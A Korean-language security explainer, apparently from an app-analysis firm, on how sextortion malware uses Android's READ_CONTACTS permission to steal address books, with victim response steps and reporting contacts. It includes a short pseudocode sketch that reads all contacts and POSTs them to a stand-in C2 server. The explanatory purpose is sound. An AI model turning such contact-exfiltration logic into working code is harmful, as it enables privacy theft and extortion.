연락처유포,
주소록은 어떻게 빠져나가나

'연락처가 유포된다'는 협박의 실체는 대부분 스마트폰에 설치된 악성앱의 주소록 탈취입니다.
READ_CONTACTS 권한이 어떻게 연락처 전체를 읽어 서버로 보내는지, 그 기술적 과정을 해부합니다.
그리고 지금 유포를 막기 위해 무엇을 확인하고 무엇을 끊어야 하는지 정리합니다.

연락처유포는 악성앱이 READ_CONTACTS 권한으로 주소록 전체를 읽어 C2 서버로 보낸 뒤, 그 목록을 협박에 쓰는 수법입니다. 앱을 설치하지 않았다면 유포에 필요한 연락처가 넘어가지 않았을 가능성이 큽니다.

아크링크가 분석한 몸캠피싱 악성앱 303종의 권한 요청 빈도 — 연락처 83%, 저장소 74%, 문자 49%, 문자수신 34%
▲ 아크링크(ARKLINK) 악성앱 303종 분석 — 권한 요청 빈도
몸캠피싱 공격 흐름 6단계: 낯선 접근→영상통화 노출 유도→악성앱 설치→권한 허용→연락처·사진 C2 전송→유포 협박
▲ 아크링크 분석 기반 몸캠피싱 공격 흐름

공식 통계로 본 심각성

경찰청 범죄통계 기준 몸캠피싱 신고는 2015년 102건에서 2019년 1,824건으로 급증했고, 2019년 검거율은 26.2%에 그쳤습니다. 가해자 검거가 어려운 만큼, 피해자의 신속한 초기 대응과 설치된 앱의 전문 분석이 현실적으로 가장 중요합니다. (출처: 경찰청 범죄통계 · 시사위크 보도)

연락처유포 협박은 어디서 시작되나

연락처유포는 갑자기 벌어지지 않습니다. 거의 모든 사례가 하나의 공통된 길목을 지납니다. 바로 피해자가 스마트폰에 앱을 직접 설치하고, 그 앱에 연락처 접근 권한을 허용하는 순간입니다. 가해자는 랜덤채팅, 소개팅 앱, SNS 다이렉트 메시지, 오픈채팅 등에서 접근해 친밀감을 쌓은 뒤 자연스러운 구실로 앱 설치를 유도합니다.

"영상통화 화질이 안 좋으니 이 앱으로 하자", "보안 인증이 필요하다", "선물이나 사진을 이 앱으로 보내겠다" 같은 말이 대표적입니다. 이 앱은 구글 플레이스토어가 아니라 채팅창으로 직접 전달되는 .apk 설치 파일이거나, 단축 URL로 위장한 다운로드 링크입니다. 플레이스토어를 거치지 않기 때문에 구글의 자동 검사인 Play Protect를 피해 갑니다.

여기서 연락처유포라는 상황이 다른 협박 유형과 갈리는 지점이 있습니다. '영상유포'가 촬영·녹화된 영상을 무기로 삼는다면, 연락처유포는 유포를 실행할 대상 명단 자체를 확보하는 것이 핵심입니다. 즉 협박이 성립하려면 먼저 피해자의 주소록이 가해자 손에 들어와 있어야 하고, 그 확보 경로가 바로 이 앱과 권한입니다.

1

접근 — 채팅·SNS에서 친밀감 형성

랜덤채팅, 소개팅 앱, 오픈채팅에서 대화를 시작해 경계를 낮춥니다. 이 단계에서는 아직 아무 데이터도 넘어가지 않습니다.

2

앱 설치 유도 — .apk 또는 링크 전달

"이 앱으로 통화하자"는 구실로 플레이스토어 밖의 설치 파일을 보냅니다. 설치를 위해 '알 수 없는 출처 허용'을 켜도록 안내하기도 합니다.

3

권한 허용 — "연락처에 접근하도록 허용"

앱 실행 직후 연락처·저장소·문자 권한 팝업이 뜹니다. 여기서 [허용]을 누르는 순간이 실제 유출의 게이트가 열리는 지점입니다.

4

주소록 전송 — C2 서버로 업로드

앱은 주소록 전체를 읽어 가해자 서버로 전송합니다. 이후 그 목록이 "지인에게 뿌리겠다"는 협박의 근거로 사용됩니다.

악성앱 분석으로 드러난 실측 통계

아크링크가 실제 분석한 몸캠피싱 악성앱은 303종, 확인된 C2 서버는 269개(유니크), 추출된 악성 도메인(IOC)은 490개입니다. 이 앱들이 요청한 권한을 집계하면 목적이 뚜렷하게 드러납니다.

연락처 접근이 저장소·문자를 제치고 1위라는 사실은, 이 악성앱들의 실제 목적이 '주소록을 확보한 뒤 지인 유포로 협박'하는 데 있음을 정량적으로 보여줍니다.
— 아크링크 악성앱 분석 데이터(2026)

'연락처를 뿌린다'는 협박, 실제로 가능한가

피해자가 가장 먼저 마주치는 장면은 대개 이렇습니다. 가해자가 피해자의 지인 이름과 전화번호가 담긴 목록을 캡처해 보여주며 "지금 이 사람들한테 다 보낸다"고 위협합니다. 이 스크린샷은 단순한 허풍이 아니라, 앱이 실제로 주소록을 읽어 서버에 올렸다는 증거인 경우가 많습니다.

하지만 모든 협박이 실제 데이터에 근거하지는 않습니다. 아크링크 상담에서는 "연락처를 다 가져갔다"는 협박을 받았지만, 분석 결과 권한이 거부돼 있었거나 앱이 네트워크 전송에 실패해 실제 유출이 전혀 없었던 사례도 확인됩니다. 반대로 이름 몇 개만 확보하고 "전부 털었다"고 부풀리는 과장형 협박도 흔합니다.

그래서 연락처유포 상황에서 가장 먼저 판단해야 할 것은 "정말 넘어갔는가"입니다. 이 판단은 감이나 협박범의 말이 아니라, 설치된 앱을 기술적으로 분석해야 정확히 내릴 수 있습니다.

특히 눈여겨볼 신호가 있습니다. 협박범이 실제 지인의 이름과 정확한 번호를 짝지어 제시한다면, 이는 주소록이 통째로 조회됐을 가능성이 높은 강한 정황입니다. 반면 "당신 가족", "직장 동료"처럼 두루뭉술하게 말하거나 번호 없이 이름만 언급한다면, 실제로는 극히 일부만 확보했거나 아무 근거 없이 넘겨짚는 경우가 많습니다. 제시하는 정보의 구체성이 곧 유출 규모를 가늠하는 첫 단서가 됩니다.

협박의 말과 실제 유출은 다르다

협박범은 피해자를 최대한 겁주어 즉시 송금을 받아내려 합니다. "당신 연락처 500개 전부 확보했다"는 문장 자체는 증거가 아닙니다. 실제 유출 규모는 (1) 어떤 권한이 허용됐는지, (2) 앱이 네트워크로 데이터를 실제 전송했는지에 따라 결정되며, 이 둘은 설치 파일과 로그 분석으로 확인할 수 있습니다.

기술적 실체 — READ_CONTACTS 권한이 하는 일

이제 연락처유포의 핵심 기계장치를 봅니다. 안드로이드에서 앱이 주소록에 손을 대려면 반드시 READ_CONTACTS라는 권한을 매니페스트에 선언하고, 사용자에게 실행 중 동의를 받아야 합니다. 이 권한은 안드로이드가 '위험 권한(dangerous permission)'으로 분류하는 항목이라, 설치 시점이 아니라 앱 실행 도중 별도의 팝업으로 허용을 받습니다(안드로이드 6.0 이상 런타임 권한 모델).

한 번의 조회로 주소록 전체를 읽는다

권한을 얻은 앱은 시스템의 콘텐츠 제공자(ContentResolver)를 통해 주소록 데이터베이스(ContactsContract)에 질의합니다. 사용자가 연락처를 한 명씩 고르는 것이 아니라, 단 한 번의 조회로 저장된 모든 연락처의 이름·전화번호·이메일이 한꺼번에 넘어갑니다. 개념적으로는 아래와 같은 흐름입니다.

// 개념 예시 — 악성앱이 주소록을 통째로 읽어 서버로 보내는 흐름 cursor = resolver.query(ContactsContract.Contacts, ...) // 주소록 전체 조회 while (cursor.next) { list.add({ name, phone }) } // 이름·번호 수집 POST https://c2-server/api/upload { contacts: [ ... ] } // JSON으로 서버 전송

읽어낸 연락처는 보통 이름·번호 쌍의 배열 형태(JSON)로 직렬화되어 가해자의 C2 서버로 HTTP 요청과 함께 업로드됩니다. 아크링크가 분석한 303종 가운데 253종, 즉 83%가 바로 이 READ_CONTACTS 권한을 요청했습니다. 압도적 1위라는 수치는 이 악성앱군의 본질이 '주소록 수집기'에 가깝다는 것을 말해 줍니다.

연락처만 노리지 않는다 — 권한 조합

탈취는 연락처 하나로 끝나지 않습니다. 같은 앱이 저장소 읽기(74%)로 갤러리 사진을, 문자 읽기(49%)와 문자 수신(34%)으로 대화 내용과 인증번호를 함께 가져갑니다. 연락처(누구에게 보낼지)와 사진·영상(무엇을 보낼지)이 한 앱 안에서 결합될 때, 유포 협박의 재료가 완성됩니다. 연락처유포가 사진유포·영상유포 협박과 세트로 등장하는 이유가 여기에 있습니다.

결정적 순간은 [허용] 버튼 한 번

"연락처에 액세스하도록 허용하시겠습니까?"라는 팝업에서 [허용]을 누르기 전까지는, 앱이 아무리 악의적이어도 주소록을 읽지 못합니다. 반대로 그 버튼을 누른 순간 게이트가 열립니다. 그래서 연락처유포 대응의 기술적 핵심은 단 두 가지 확인으로 압축됩니다. 첫째, 권한을 실제로 허용했는가. 둘째, 허용 후 네트워크로 전송이 일어났는가.

바로 이 지점이 이 글이 다루는 고유한 관점입니다. 협박범의 말에 휘둘리는 대신, 설치된 앱의 권한 상태와 통신 기록이라는 객관적 증거로 유출 여부를 판정하면 대응의 방향이 명확해집니다.

분석가는 유출 여부를 어떻게 확인하나

"주소록이 정말 나갔는가"는 추측이 아니라 측정의 문제입니다. 아크링크가 악성앱을 분석할 때는 세 가지 증거를 교차 확인합니다. 첫째, 앱이 매니페스트에 READ_CONTACTS를 선언했는지, 그리고 기기에서 그 권한이 실제 '허용' 상태였는지 봅니다. 둘째, 앱을 통제된 환경에서 실행하며 시스템 로그(logcat)와 네트워크 트래픽을 캡처해 주소록 조회 호출과 외부 전송이 실제로 발생하는지 관찰합니다. 셋째, 전송 대상 주소가 이미 알려진 C2 서버나 악성 도메인(IOC) 목록과 일치하는지 대조합니다.

이 세 가지가 모두 맞아떨어질 때 비로소 "유출이 실제로 일어났다"고 판정합니다. 반대로 권한이 거부돼 있거나, 코드에 전송 루틴이 있어도 서버가 응답하지 않아 업로드가 실패한 흔적이 보이면, 협박범의 주장과 달리 실제 피해 범위는 훨씬 좁습니다. 연락처유포 대응이 협박범의 말이 아니라 이런 물증에 근거해야 하는 이유가 여기에 있습니다.

예방과 차단 — 유포를 실제로 막는 조치

상황에 따라 취할 조치가 다릅니다. 자신이 어느 단계에 있는지 먼저 파악하세요.

아직 설치하지 않았다면

설치했지만 권한을 허용하지 않았다면

연락처 팝업에서 [허용]을 누른 적이 없다면, 주소록이 이 앱을 통해 빠져나갔을 가능성은 낮습니다. 그래도 앱을 삭제하고 설정에서 권한 상태를 한 번 더 확인하세요.

이미 권한까지 허용했다면 (긴급)

지금 순서대로 실행

  1. 네트워크를 즉시 끊습니다 — 비행기 모드로 전환하거나 와이파이·모바일 데이터를 꺼 추가 전송을 멈춥니다.
  2. 앱을 삭제하기 전에 앱 이름·아이콘을 기록하고, 가능하면 설치 파일을 보존합니다(실제 전송 여부 분석용 증거).
  3. 설정 → 애플리케이션 → 해당 앱 → 권한에서 연락처·저장소·문자 권한을 회수합니다.
  4. 기기 관리자(디바이스 관리 앱) 권한을 가진 앱이 있는지 확인하고 해제한 뒤 삭제합니다.
  5. 문자 인증번호가 탈취됐을 수 있으니 중요한 계정의 비밀번호를 변경합니다.

이미 전송된 목록 자체를 되돌릴 수는 없습니다. 그러나 유포의 실제 타격은 줄일 수 있습니다. 이미 넘어갔다고 판단되면, 가까운 지인 몇 명에게 "내 번호로 이상한 메시지나 영상이 가면 무시하고 알려 달라"고 미리 알리세요. 협박범의 무기는 피해자의 수치심과 지인의 오해인데, 사전 안내는 후자를 무력화해 협박의 지렛대를 크게 약화시킵니다.

평소 예방도 중요합니다. 설정에서 앱별 권한을 주기적으로 점검해 연락처·문자·저장소 권한을 가진 앱이 그 기능이 정말 필요한 앱인지 확인하고, 출처가 불분명한 앱은 권한을 회수하거나 삭제하세요. Play Protect를 켜 두면 알려진 악성앱의 설치를 사전에 걸러내는 데 도움이 됩니다. 연락처 권한은 한 번 허용하면 회수 전까지 계속 유효하므로, 의심스러운 앱에는 애초에 허용하지 않는 것이 가장 확실한 차단입니다.

피해 대처와 신고

연락처유포 협박 앞에서 지켜야 할 원칙은 분명합니다.

  1. 돈을 보내지 않습니다 — 한 번 지급하면 "더 있다"며 반복 요구가 이어집니다. 지급은 해결이 아니라 반복 표적화의 시작입니다.
  2. 증거를 보존합니다 — 대화 내용, 요구 계좌, 협박 메시지, 전달받은 앱 파일, 권한 화면을 캡처해 둡니다.
  3. 실제 전송 여부를 확인합니다 — 설치한 앱을 분석하면 주소록이 정말 유출됐는지, 규모는 어느 정도인지 확인할 수 있습니다.

신고·상담 기관 (실재 기관)

경찰 신고: ☎ 112
사이버범죄 신고: ☎ 182
방송통신심의위원회: 유포된 게시물·촬영물의 삭제·차단 심의
디지털성범죄피해자지원센터: ☎ 02-735-8994 (촬영물 삭제 지원 및 상담)

혼자 판단하기 어렵다면 앱 분석과 유포 대응을 함께 다루는 전문 기관의 상담을 받는 것이 안전합니다. 무엇보다 협박범의 말이 아니라 기기와 앱이라는 증거에 근거해 대응 방향을 정하는 것이 핵심입니다.

자주 묻는 질문 (FAQ)

연락처유포 협박을 받았는데, 정말 제 주소록이 넘어간 건가요?

가해자가 지인 이름·번호가 담긴 목록을 보여준다면 앱이 READ_CONTACTS 권한으로 주소록을 읽어 서버로 전송했을 가능성이 높습니다. 다만 권한을 거부했거나 앱이 전송에 실패한 경우 실제 유출이 없기도 합니다. 감으로 판단하지 말고 설치한 앱을 기술적으로 분석해 실제 전송 여부를 확인해야 합니다.

READ_CONTACTS 권한을 허용한 적이 없는데도 연락처가 유포될 수 있나요?

안드로이드에서 앱이 주소록을 읽으려면 READ_CONTACTS 권한 허용이 반드시 필요합니다. 권한 팝업에서 [허용]을 누른 적이 없다면 주소록이 앱을 통해 빠져나갔을 가능성은 낮습니다. 다만 가해자가 과거 유출이나 사칭 등 다른 경로로 일부 번호를 알고 있을 수 있으니, 실제 앱의 권한 상태를 함께 확인하는 것이 안전합니다.

이미 앱을 설치하고 연락처 권한까지 줬다면 유포를 막을 수 있나요?

먼저 비행기 모드나 데이터·와이파이 차단으로 추가 전송을 즉시 멈추고, 앱을 식별해 증거를 남긴 뒤 삭제하고 연락처 권한을 회수하세요. 이미 전송된 목록을 되돌릴 수는 없지만, 가까운 지인에게 "이상한 메시지가 가면 무시하라"고 미리 알리면 유포의 실제 타격을 크게 줄일 수 있습니다.

연락처유포를 신고하려면 어디에 연락해야 하나요?

경찰 112, 사이버범죄 신고 182로 신고할 수 있습니다. 유포물 삭제·차단은 방송통신심의위원회가, 촬영물 관련 상담과 삭제 지원은 디지털성범죄피해자지원센터(02-735-8994)가 돕습니다. 돈을 보내지 말고 대화·계좌·앱 파일 등 증거를 먼저 보존한 뒤 신고하세요.

설치한 앱이 연락처를 가져갔는지 확인하세요

협박범의 말이 아니라, 앱 분석으로 실제 유출 여부를 판정합니다.

내 앱 검색하기    아크링크 상담    분석 요청하기

이 수법에 쓰인 악성앱, 우리가 직접 분석했습니다

주식회사 아크링크 Deep-Coding 보안연구소는 몸캠피싱·영상통화사기에 실제 사용된 악성앱을 리버스 엔지니어링으로 분석합니다. 관련 분석 사례: Yeoin (victim report) · Erotic-S (victim report) · Flirting-19 (victim report) · MZTalk (victim report) · DuckTalk (victim report)

▸ 악성앱 308종 전체 분석 데이터베이스 보기